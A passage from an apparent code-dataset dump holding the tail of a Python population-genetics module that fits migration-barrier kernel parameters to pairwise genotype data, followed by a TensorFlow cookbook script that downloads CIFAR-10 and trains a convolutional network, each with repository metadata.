self.fit_params = range(self.kernel.give_nr_parameters()) # All parameters are fit!\n else:\n self.fit_params = fit_params\n \n # Check for old version of code:\n if start_params == None:\n raise ValueError(\"Supply Starting Parameters!\")\n if len(self.start_params) == 0:\n self.start_params = self.fixed_params[self.fit_params]\n \n # Sanity Check\n assert(len(self.fit_params) == len(self.start_params))\n\n \n # Some Output that everything loaded successfully:\n nr_inds, nr_loci = np.shape(genotypes)\n print(\"Successfully Loaded MLE-Object.\")\n print(\"Nr inds: %i\" % nr_inds)\n print(\"Nr loci: %i \\n\" % nr_loci)\n \n print(\"MultiProcessing for Kernel: %i\" % self.kernel.multi_processing)\n \n\n def fit_function(self, coords, *args):\n '''Function that calculates the expected ratio of homozygotes based on Parameters\n *args for Kernel Function\n Return the Vector of fitted Values'''\n print(args) # Prints arguments so that one knows where one is\n args = np.array(args) # Make Arguments Numpy array so that it everything is fluent\n \n params = np.array(self.fixed_params) # Set the base value\n params[self.fit_params] = args # Overwrite the values to fit\n \n var = params[-1] # Extract Variance\n params[-1] = 0 # Set ss=0\n \n print(\"Parameters Sent to Kernel:\")\n print(params)\n # Sets the variance Parameter 0; so that one can calculate the Kernel fluently\n assert(self.kernel.give_nr_parameters() == len(params)) # Checks whether Nr. of Parameters is right.\n self.kernel.set_parameters(params) # Sets the kernel parameters\n \n tic = time() \n kernel_mat = self.kernel.calc_kernel_mat(coords) # Calculates the full kernel matrix\n kernel_vec = kernel_mat[self.inds] # Extracts the Kernel as Vector for the right indices\n toc = time()\n print(\"Runtime Kernel: %.4f\" % (toc - tic))\n \n predictor = kernel_vec + (1 - kernel_vec) * var\n \n return predictor\n\n \n def extract_right_indices(self, coords):\n '''Given Coords, calculates pw. Distance Matrix and then extracts\n indices where bigger than self.min_distance'''\n nr_inds = len(coords) # How many individual data points\n inds = np.triu_indices(nr_inds, 1) # Only take everything above diagonal.\n inds0, inds1 = inds\n \n pw_dist_mat = np.sqrt(np.sum((coords[:, None] - coords[None, :]) ** 2, axis=2)) # Calculates Pw. Distances.\n pw_dist_list = pw_dist_mat[inds]\n \n # Extract indices where greater than min. Distance and smaller than max. Distance:\n inds_md = np.where((pw_dist_list > self.min_distance) & (pw_dist_list < self.max_distance))[0] \n inds = (inds0[inds_md], inds1[inds_md]) # Extracts right Matrix indices\n self.inds = inds # Remembers so that class\n return inds\n \n def calc_mean_indentical(self, genotypes):\n '''Function to calculate matrix with counts how many Genotypes\n are identical'''\n genotypes11 = genotypes[:, None] * genotypes[None, :] # Where both genotypes are 1.\n genotypes00 = (1 - genotypes[:, None]) * (1 - genotypes[None, :]) # Where both genotypes are 0.\n \n # Whats the right fract\n frac_genotypes_id = np.mean(genotypes11 + genotypes00, axis=2) # Calculate Fraction shared\n frac_genotypes_sem = sem(genotypes11 + genotypes00, axis=2) # Calculates SEMs\n \n return frac_genotypes_id, frac_genotypes_sem\n \n \n def fit(self, start_params=None, maxiter=500, maxfun=1000, **kwds): # maxiter was 5000; maxfun was 5000\n # we have one additional parameter and we need to add it for summary\n if start_params == None:\n start_params = self.start_params # Set the starting parameters for the fit\n \n # First extract and calculate pairwise distances;\n coords = self.exog\n nr_inds = len(coords)\n \n # Calculate Matrix with fraction of identical genotypes per pair\n genotypes = self.endog\n frac_genotypes_id, sems = self.calc_mean_indentical(genotypes)\n nr_pair_comps = self.nr_ind_demes[:, None] * self.nr_ind_demes[None, :] # Calculate Number of pairwise comparisons.\n \n # Extract Pairs with right minimum pairwise Distance\n print(\"Nr of all pairwise comparisons: %i\" % (nr_inds * (nr_inds - 1) / 2))\n inds = self.extract_right_indices(coords)\n y_values = frac_genotypes_id[inds] # Makes a vector out of identical Genotypes\n nr_pair_comps = nr_pair_comps[inds]\n y_errors = sems[inds] # Makes vector out of standard errors. \n print(\"Extracted pairwise comparisons: %i\" % len(y_values))\n print(\"Doing the Fitting...\")\n \n lower_bounds = 0.0 # Lower Bound for the fit.\n upper_bounds = [np.inf for _ in start_params] # Sets all upper bounds to infinity\n if len(upper_bounds) == 5: # If Barrier is fitted as well set upper bound to 1.0 (no barrier)\n upper_bounds[2] = 1.0 \n \n sigma = 1.0 / np.sqrt(nr_pair_comps) # The error in the pairwise values is proportion to 1/sqrt(nr_pair_comps)\n \n # Do the Fitting:\n parameters, cov_matrix = curve_fit(self.fit_function, coords, y_values, # sigma=y_errors, absolute_sigma=True\n p0=start_params, bounds=(lower_bounds, upper_bounds), sigma=sigma) # @UnusedVariable p0=(C / 10.0, -r)\n \n std_params = np.sqrt(np.diag(cov_matrix)) # Get the standard deviation of the results\n \n print(\"Parameters:\")\n print(parameters)\n print(\"Unc. Estimates: \")\n print(std_params)\n \n # Create and fill up Fit object\n fit = Fit_class(parameters, std_params)\n return fit\n\n######################################################### \ndef memory_usage_resource():\n '''Returns Maximum Memory usage'''\n import resource\n rusage_denom = 1024.\n mem = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss / rusage_denom\n return mem\n\n \n######################### Some lines to test the code and make plots\ndef analyze_barrier(position_list, genotype_mat, ind_deme_nr,\n position_barrier=2, nr_inds=200, fit_t0=0, start_params=[136.07, 0.0122, 0.375, 0.53]):\n '''Method that analyzes a barrier. Use Method 2.'''\n # inds = range(len(position_list))\n # shuffle(inds) # Random permutation of the indices. If not random draw - comment out\n # inds = inds[:nr_inds] # Only load first nr_inds\n # position_list = position_list[inds, :]\n # genotype_mat = genotype_mat[inds, :]\n \n MLE_obj = MLE_f_emp(\"DiffusionBarrierK0\", position_list, genotype_mat, nr_ind_demes=ind_deme_nr,\n start_params=start_params, multi_processing=1, fit_t0=fit_t0)\n MLE_obj.kernel.position_barrier = position_barrier # Sets the Barrier\n tic = time()\n fit = MLE_obj.fit(start_params=start_params)\n pickle.dump(fit, open(\"fitbarrier.p\", \"wb\"))\n toc = time()\n print(\"Total Running Time of Fitting: %.4f\" % (toc - tic))\n \ndef analyze_normal(position_list, genotype_mat, nr_inds=10000, fixed_params=[62, 0.006, 1 ,0.5], fit_params=[0,1,3], limit_inds=0,\n nr_x_bins=0, nr_y_bins=0, min_ind_nr=1):\n '''Method that analyzes data without a barrier. Use Method 2.'''\n # Load only certain Number of Individuals\n if limit_inds == 1:\n inds = range(len(position_list))\n shuffle(inds) # Random permutation of the indices. If not random draw - comment out\n inds = inds[:nr_inds] # Only load first nr_inds\n\n # Group Inds:\n if nr_x_bins > 0 or nr_y_bins > 0:\n position_list, genotype_mat, nr_inds = group_inds(position_list, genotype_mat,\n demes_x=nr_x_bins, demes_y=nr_y_bins, min_ind_nr=min_ind_nr) \n \n \n # position_list = position_list[inds, :]\n # genotype_mat = genotype_mat[inds, :]\n # MLE_obj = MLE_pairwise(\"DiffusionK0\", position_list, genotype_mat, start_params=[75, 0.02, 0.01], multi_processing=1) \n MLE_obj = MLE_f_emp(\"DiffusionK0\", position_list, genotype_mat, fixed_params=fixed_params, \n fit_params=fit_params, multi_processing=1)\n \n # MLE_obj.loglike([200, 0.001, 1, 0.04]) # Test Run for a Likelihood\n \n # Run a likelihood surface\n nbh_list = np.logspace(0.5, 2.5, 10) # Neighborhood List\n L_list = np.logspace(-3.5, -1.5, 10) # Length-Scale List\n # params = [4*np.pi*5, 0.001, 1.0, 0]\n # true_vals = [4*np.pi*5, 0.001]\n \n # res = pickle.load(open(\"temp_save.p\", \"rb\")) # Load the Pickle Data\n # MLE_obj.likelihood_surface(nbh_list, L_list, 0, 1, params, true_vals) # create the likelihood surface\n # MLE_obj.plot_loglike_surface(nbh_list, L_list, true_vals, res) # Plots the Data\n \n \n # Do the actual Fitting: \n fit = MLE_obj.fit() # Could alter method here. nbh, mu\n pickle.dump(fit, open(\"fit.p\", \"wb\")) # Pickle\n \n\n\nif __name__ == \"__main__\":\n # position_list = np.loadtxt('./nbh_folder_gauss/nbh_file_coords200.csv', delimiter='$').astype('float64') # Load the complete X-Data\n # genotype_mat = np.loadtxt('./nbh_folder_gauss/nbh_file_genotypes200.csv', delimiter='$').astype('float64') # Load the complete Y-Data\n # position_list = np.loadtxt('./multi_barrier_hz/mb_posHZ_coords00.csv', delimiter='$').astype('float64') # Load the complete X-Data\n # genotype_mat = np.loadtxt('./multi_barrier_hz/mb_posHZ_genotypes00.csv', delimiter='$').astype('float64') # Load the complete Y-Data\n # position_list = np.loadtxt(\"./barrier_folder2/barrier_file_coords60.csv\", delimiter='$').astype('float64') # Load the complete X-Data\n # genotype_mat = np.loadtxt(\"./barrier_folder2/barrier_file_genotypes60.csv\", delimiter='$').astype('float64') # Load the complete Y-Data\n \n position_list = np.loadtxt('./multi_barrier_hz_ALL/chr0/mb_posHZ_coords00.csv', delimiter='$').astype('float64') # Load the complete X-Data\n genotype_mat = np.loadtxt('./multi_barrier_hz_ALL/chr0/mb_posHZ_genotypes00.csv', delimiter='$').astype('float64') # Load the complete Y-Data\n \n \n #position_list = np.loadtxt('./barrier_folder_HZ_synth/mb_pos_coords00.csv', delimiter='$').astype('float64') # Load the complete X-Data\n #genotype_mat = np.loadtxt('./barrier_folder_HZ_synth/mb_pos_genotypes00.csv', delimiter='$').astype('float64') # Load the complete Y-Data\n \n #print(np.shape(genotype_mat))\n \n # ind_deme_nr = np.loadtxt('./Data/inds_per_deme_HZall2.csv', delimiter='$') \n # ind_deme_nr = np.ones(len(position_list)) # Load the Nr of Individuals per Deme\n #analyze_barrier(position_list, genotype_mat, ind_deme_nr) # Do not forget to set position of barrier\n \n analyze_normal(position_list, genotype_mat, nr_x_bins=50, nr_y_bins=10, nr_inds=3)\n #analyze_normal(position_list, genotype_mat)\n#########################################\n\n\n", "repo_name": "hringbauer/BarrierInferPublic", "sub_path": "mle_pairwise.py", "file_name": "mle_pairwise.py", "file_ext": "py", "file_size_in_byte": 24859, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "statsmodels.base.model.GenericLikelihoodModel", "line_number": 26, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 37, "usage_type": "call"}, {"api_name": "kernels.fac_kernel", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 50, "usage_type": "attribute"}, {"api_name": "numpy.shape", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 85, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 89, "usage_type": "call"}, {"api_name": "time.time", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.triu_indices", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 156, "usage_type": "call"}, {"api_name": "cPickle.dump", "line_number": 195, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 200, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 202, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 202, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.pcolormesh", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 203, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xscale", "line_number": 205, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 205, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yscale", "line_number": 206, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 206, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 209, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 209, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 211, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 211, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 212, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 212, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 215, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 215, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 216, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.contourf", "line_number": 218, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 218, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 220, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 220, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 222, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 222, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 223, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 223, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 224, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 224, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 225, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 225, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 226, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 226, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xscale", "line_number": 227, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 227, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yscale", "line_number": 228, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 228, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 229, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 229, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 230, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 230, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 231, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 231, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 232, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 232, "usage_type": "name"}, {"api_name": "statsmodels.base.model.GenericLikelihoodModel", "line_number": 237, "usage_type": "name"}, {"api_name": "kernels.fac_kernel", "line_number": 262, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 268, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 274, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 288, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 309, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 322, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 324, "usage_type": "call"}, {"api_name": "time.time", "line_number": 336, "usage_type": "call"}, {"api_name": "time.time", "line_number": 339, "usage_type": "call"}, {"api_name": "numpy.triu_indices", "line_number": 351, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 354, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 354, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 358, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 370, "usage_type": "call"}, {"api_name": "scipy.stats.sem", "line_number": 371, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 400, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 404, "usage_type": "call"}, {"api_name": "scipy.optimize.minpack.curve_fit", "line_number": 407, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 410, "usage_type": "call"}, {"api_name": "numpy.diag", "line_number": 410, "usage_type": "call"}, {"api_name": "analysis.Fit_class", "line_number": 418, "usage_type": "call"}, {"api_name": "resource.getrusage", "line_number": 426, "usage_type": "call"}, {"api_name": "resource.RUSAGE_SELF", "line_number": 426, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 443, "usage_type": "call"}, {"api_name": "cPickle.dump", "line_number": 445, "usage_type": "call"}, {"api_name": "time.time", "line_number": 446, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 455, "usage_type": "call"}, {"api_name": "analysis.group_inds", "line_number": 460, "usage_type": "call"}, {"api_name": "numpy.logspace", "line_number": 473, "usage_type": "call"}, {"api_name": "numpy.logspace", "line_number": 474, "usage_type": "call"}, {"api_name": "cPickle.dump", "line_number": 485, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 497, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 498, "usage_type": "call"}]} +{"seq_id": "2782374609", "text": "# More Advanced CNN Model: CIFAR-10\n#---------------------------------------\n#\n# In this example, we will download the CIFAR-10 images\n# and build a CNN model with dropout and regularization\n#\n# CIFAR is composed ot 50k train and 10k test\n# images that are 32x32.\n\nimport os\nimport sys\nimport tarfile\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport tensorflow as tf\nfrom six.moves import urllib\nfrom tensorflow.python.framework import ops\nops.reset_default_graph()\n\n# Change Directory\ntry:\n abspath = os.path.abspath(__file__)\nexcept NameError:\n abspath = os.getcwd()\ndname = os.path.dirname(abspath)\nos.chdir(dname)\n\n# Start a graph session\nsess = tf.Session()\n\n# Set model parameters\nbatch_size = 128\ndata_dir = 'temp'\noutput_every = 50\ngenerations = 20000\neval_every = 500\nimage_height = 32\nimage_width = 32\ncrop_height = 24\ncrop_width = 24\nnum_channels = 3\nnum_targets = 10\nextract_folder = 'cifar-10-batches-bin'\n\n# Exponential Learning Rate Decay Params\nlearning_rate = 0.1\nlr_decay = 0.1\nnum_gens_to_wait = 250.\n\n# Extract model parameters\nimage_vec_length = image_height * image_width * num_channels\nrecord_length = 1 + image_vec_length # ( + 1 for the 0-9 label)\n\n# Load data\ndata_dir = 'temp'\nif not os.path.exists(data_dir):\n os.makedirs(data_dir)\ncifar10_url = 'http://www.cs.toronto.edu/~kriz/cifar-10-binary.tar.gz'\n\n# Check if file exists, otherwise download it\ndata_file = os.path.join(data_dir, 'cifar-10-binary.tar.gz')\nif os.path.isfile(data_file):\n pass\nelse:\n # Download file\n def progress(block_num, block_size, total_size):\n progress_info = [cifar10_url, float(block_num * block_size) / float(total_size) * 100.0]\n print('\\r Downloading {} - {:.2f}%'.format(*progress_info), end=\"\")\n filepath, _ = urllib.request.urlretrieve(cifar10_url, data_file, progress)\n # Extract file\n tarfile.open(filepath, 'r:gz').extractall(data_dir)\n \n\n# Define CIFAR reader\ndef read_cifar_files(filename_queue, distort_images = True):\n reader = tf.FixedLengthRecordReader(record_bytes=record_length)\n key, record_string = reader.read(filename_queue)\n record_bytes = tf.decode_raw(record_string, tf.uint8)\n image_label = tf.cast(tf.slice(record_bytes, [0], [1]), tf.int32)\n \n # Extract image\n image_extracted = tf.reshape(tf.slice(record_bytes, [1], [image_vec_length]),\n [num_channels, image_height, image_width])\n \n # Reshape image\n image_uint8image = tf.transpose(image_extracted, [1, 2, 0])\n reshaped_image = tf.cast(image_uint8image, tf.float32)\n # Randomly Crop image\n final_image = tf.image.resize_image_with_crop_or_pad(reshaped_image, crop_width, crop_height)\n \n if distort_images:\n # Randomly flip the image horizontally, change the brightness and contrast\n final_image = tf.image.random_flip_left_right(final_image)\n final_image = tf.image.random_brightness(final_image,max_delta=63)\n final_image = tf.image.random_contrast(final_image,lower=0.2, upper=1.8)\n\n # Normalize whitening\n final_image = tf.image.per_image_standardization(final_image)\n return final_image, image_label\n\n\n# Create a CIFAR image pipeline from reader\ndef input_pipeline(batch_size, train_logical=True):\n if train_logical:\n files = [os.path.join(data_dir, extract_folder, 'data_batch_{}.bin'.format(i)) for i in range(1,6)]\n else:\n files = [os.path.join(data_dir, extract_folder, 'test_batch.bin')]\n filename_queue = tf.train.string_input_producer(files)\n image, label = read_cifar_files(filename_queue)\n \n # min_after_dequeue defines how big a buffer we will randomly sample\n # from -- bigger means better shuffling but slower start up and more\n # memory used.\n # capacity must be larger than min_after_dequeue and the amount larger\n # determines the maximum we will prefetch. Recommendation:\n # min_after_dequeue + (num_threads + a small safety margin) * batch_size\n min_after_dequeue = 5000\n capacity = min_after_dequeue + 3 * batch_size\n example_batch, label_batch = tf.train.shuffle_batch([image, label],\n batch_size=batch_size,\n capacity=capacity,\n min_after_dequeue=min_after_dequeue)\n\n return example_batch, label_batch\n\n \n# Define the model architecture, this will return logits from images\ndef cifar_cnn_model(input_images, batch_size, train_logical=True):\n def truncated_normal_var(name, shape, dtype):\n return(tf.get_variable(name=name, shape=shape, dtype=dtype, initializer=tf.truncated_normal_initializer(stddev=0.05)))\n def zero_var(name, shape, dtype):\n return(tf.get_variable(name=name, shape=shape, dtype=dtype, initializer=tf.constant_initializer(0.0)))\n \n # First Convolutional Layer\n with tf.variable_scope('conv1') as scope:\n # Conv_kernel is 5x5 for all 3 colors and we will create 64 features\n conv1_kernel = truncated_normal_var(name='conv_kernel1', shape=[5, 5, 3, 64], dtype=tf.float32)\n # We convolve across the image with a stride size of 1\n conv1 = tf.nn.conv2d(input_images, conv1_kernel, [1, 1, 1, 1], padding='SAME')\n # Initialize and add the bias term\n conv1_bias = zero_var(name='conv_bias1', shape=[64], dtype=tf.float32)\n conv1_add_bias = tf.nn.bias_add(conv1, conv1_bias)\n # ReLU element wise\n relu_conv1 = tf.nn.relu(conv1_add_bias)\n \n # Max Pooling\n pool1 = tf.nn.max_pool(relu_conv1, ksize=[1, 3, 3, 1], strides=[1, 2, 2, 1],padding='SAME', name='pool_layer1')\n \n # Local Response Normalization (parameters from paper)\n # paper: http://papers.nips.cc/paper/4824-imagenet-classification-with-deep-convolutional-neural-networks\n norm1 = tf.nn.lrn(pool1, depth_radius=5, bias=2.0, alpha=1e-3, beta=0.75, name='norm1')\n\n # Second Convolutional Layer\n with tf.variable_scope('conv2') as scope:\n # Conv kernel is 5x5, across all prior 64 features and we create 64 more features\n conv2_kernel = truncated_normal_var(name='conv_kernel2', shape=[5, 5, 64, 64], dtype=tf.float32)\n # Convolve filter across prior output with stride size of 1\n conv2 = tf.nn.conv2d(norm1, conv2_kernel, [1, 1, 1, 1], padding='SAME')\n # Initialize and add the bias\n conv2_bias = zero_var(name='conv_bias2', shape=[64], dtype=tf.float32)\n conv2_add_bias = tf.nn.bias_add(conv2, conv2_bias)\n # ReLU element wise\n relu_conv2 = tf.nn.relu(conv2_add_bias)\n \n # Max Pooling\n pool2 = tf.nn.max_pool(relu_conv2, ksize=[1, 3, 3, 1], strides=[1, 2, 2, 1], padding='SAME', name='pool_layer2') \n \n # Local Response Normalization (parameters from paper)\n norm2 = tf.nn.lrn(pool2, depth_radius=5, bias=2.0, alpha=1e-3, beta=0.75, name='norm2')\n \n # Reshape output into a single matrix for multiplication for the fully connected layers\n reshaped_output = tf.reshape(norm2, [batch_size, -1])\n reshaped_dim = reshaped_output.get_shape()[1].value\n \n # First Fully Connected Layer\n with tf.variable_scope('full1') as scope:\n # Fully connected layer will have 384 outputs.\n full_weight1 = truncated_normal_var(name='full_mult1', shape=[reshaped_dim, 384], dtype=tf.float32)\n full_bias1 = zero_var(name='full_bias1', shape=[384], dtype=tf.float32)\n full_layer1 = tf.nn.relu(tf.add(tf.matmul(reshaped_output, full_weight1), full_bias1))\n\n # Second Fully Connected Layer\n with tf.variable_scope('full2') as scope:\n # Second fully connected layer has 192 outputs.\n full_weight2 = truncated_normal_var(name='full_mult2', shape=[384, 192], dtype=tf.float32)\n full_bias2 = zero_var(name='full_bias2', shape=[192], dtype=tf.float32)\n full_layer2 = tf.nn.relu(tf.add(tf.matmul(full_layer1, full_weight2), full_bias2))\n\n # Final Fully Connected Layer -> 10 categories for output (num_targets)\n with tf.variable_scope('full3') as scope:\n # Final fully connected layer has 10 (num_targets) outputs.\n full_weight3 = truncated_normal_var(name='full_mult3', shape=[192, num_targets], dtype=tf.float32)\n full_bias3 = zero_var(name='full_bias3', shape=[num_targets], dtype=tf.float32)\n final_output = tf.add(tf.matmul(full_layer2, full_weight3), full_bias3)\n \n return final_output\n\n\n# Loss function\ndef cifar_loss(logits, targets):\n # Get rid of extra dimensions and cast targets into integers\n targets = tf.squeeze(tf.cast(targets, tf.int32))\n # Calculate cross entropy from logits and targets\n cross_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=logits, labels=targets)\n # Take the average loss across batch size\n cross_entropy_mean = tf.reduce_mean(cross_entropy, name='cross_entropy')\n return cross_entropy_mean\n\n\n# Train step\ndef train_step(loss_value, generation_num):\n # Our learning rate is an exponential decay after we wait a fair number of generations\n model_learning_rate = tf.train.exponential_decay(learning_rate, generation_num,\n num_gens_to_wait, lr_decay, staircase=True)\n # Create optimizer\n my_optimizer = tf.train.GradientDescentOptimizer(model_learning_rate)\n # Initialize train step\n train_step = my_optimizer.minimize(loss_value)\n return train_step\n\n\n# Accuracy function\ndef accuracy_of_batch(logits, targets):\n # Make sure targets are integers and drop extra dimensions\n targets = tf.squeeze(tf.cast(targets, tf.int32))\n # Get predicted values by finding which logit is the greatest\n batch_predictions = tf.cast(tf.argmax(logits, 1), tf.int32)\n # Check if they are equal across the batch\n predicted_correctly = tf.equal(batch_predictions, targets)\n # Average the 1's and 0's (True's and False's) across the batch size\n accuracy = tf.reduce_mean(tf.cast(predicted_correctly, tf.float32))\n return accuracy\n\n# Get data\nprint('Getting/Transforming Data.')\n# Initialize the data pipeline\nimages, targets = input_pipeline(batch_size, train_logical=True)\n# Get batch test images and targets from pipline\ntest_images, test_targets = input_pipeline(batch_size, train_logical=False)\n\n# Declare Model\nprint('Creating the CIFAR10 Model.')\nwith tf.variable_scope('model_definition') as scope:\n # Declare the training network model\n model_output = cifar_cnn_model(images, batch_size)\n # This is very important!!! We must set the scope to REUSE the variables,\n # otherwise, when we set the test network model, it will create new random\n # variables. Otherwise we get random evaluations on the test batches.\n scope.reuse_variables()\n test_output = cifar_cnn_model(test_images, batch_size)\n\n# Declare loss function\nprint('Declare Loss Function.')\nloss = cifar_loss(model_output, targets)\n\n# Create accuracy function\naccuracy = accuracy_of_batch(test_output, test_targets)\n\n# Create training operations\nprint('Creating the Training Operation.')\ngeneration_num = tf.Variable(0, trainable=False)\ntrain_op = train_step(loss, generation_num)\n\n# Initialize Variables\nprint('Initializing the Variables.')\ninit = tf.global_variables_initializer()\nsess.run(init)\n\n# Initialize queue (This queue will feed into the model, so no placeholders necessary)\ntf.train.start_queue_runners(sess=sess)\n\n# Train CIFAR Model\nprint('Starting Training')\ntrain_loss = []\ntest_accuracy = []\nfor i in range(generations):\n _, loss_value = sess.run([train_op, loss])\n \n if (i+1) % output_every == 0:\n train_loss.append(loss_value)\n output = 'Generation {}: Loss = {:.5f}'.format((i+1), loss_value)\n print(output)\n \n if (i+1) % eval_every == 0:\n [temp_accuracy] = sess.run([accuracy])\n test_accuracy.append(temp_accuracy)\n acc_output = ' --- Test Accuracy = {:.2f}%.'.format(100.*temp_accuracy)\n print(acc_output)\n\n# Print loss and accuracy\n# Matlotlib code to plot the loss and accuracies\neval_indices = range(0, generations, eval_every)\noutput_indices = range(0, generations, output_every)\n\n# Plot loss over time\nplt.plot(output_indices, train_loss, 'k-')\nplt.title('Softmax Loss per Generation')\nplt.xlabel('Generation')\nplt.ylabel('Softmax Loss')\nplt.show()\n\n# Plot accuracy over time\nplt.plot(eval_indices, test_accuracy, 'k-')\nplt.title('Test Accuracy')\nplt.xlabel('Generation')\nplt.ylabel('Accuracy')\nplt.show()", "repo_name": "nfmcclure/tensorflow_cookbook", "sub_path": "08_Convolutional_Neural_Networks/03_CNN_CIFAR10/03_cnn_cifar10.py", "file_name": "03_cnn_cifar10.py", "file_ext": "py", "file_size_in_byte": 12515, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6106, "dataset": "github-code", "pt": "16", "api": [{"api_name": "tensorflow.python.framework.ops.reset_default_graph", "line_number": 18, "usage_type": "call"}, {"api_name": "tensorflow.python.framework.ops", "line_number": 18, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.chdir", "line_number": 26, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "six.moves.urllib.request.urlretrieve", "line_number": 69, "usage_type": "call"}, {"api_name": "six.moves.urllib.request", "line_number": 69, "usage_type": "attribute"}, {"api_name": "six.moves.urllib", "line_number": 69, "usage_type": "name"}, {"api_name": "tarfile.open", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow.FixedLengthRecordReader", "line_number": 76, "usage_type": "call"}, {"api_name": "tensorflow.decode_raw", "line_number": 78, "usage_type": "call"}, {"api_name": "tensorflow.uint8", "line_number": 78, "usage_type": 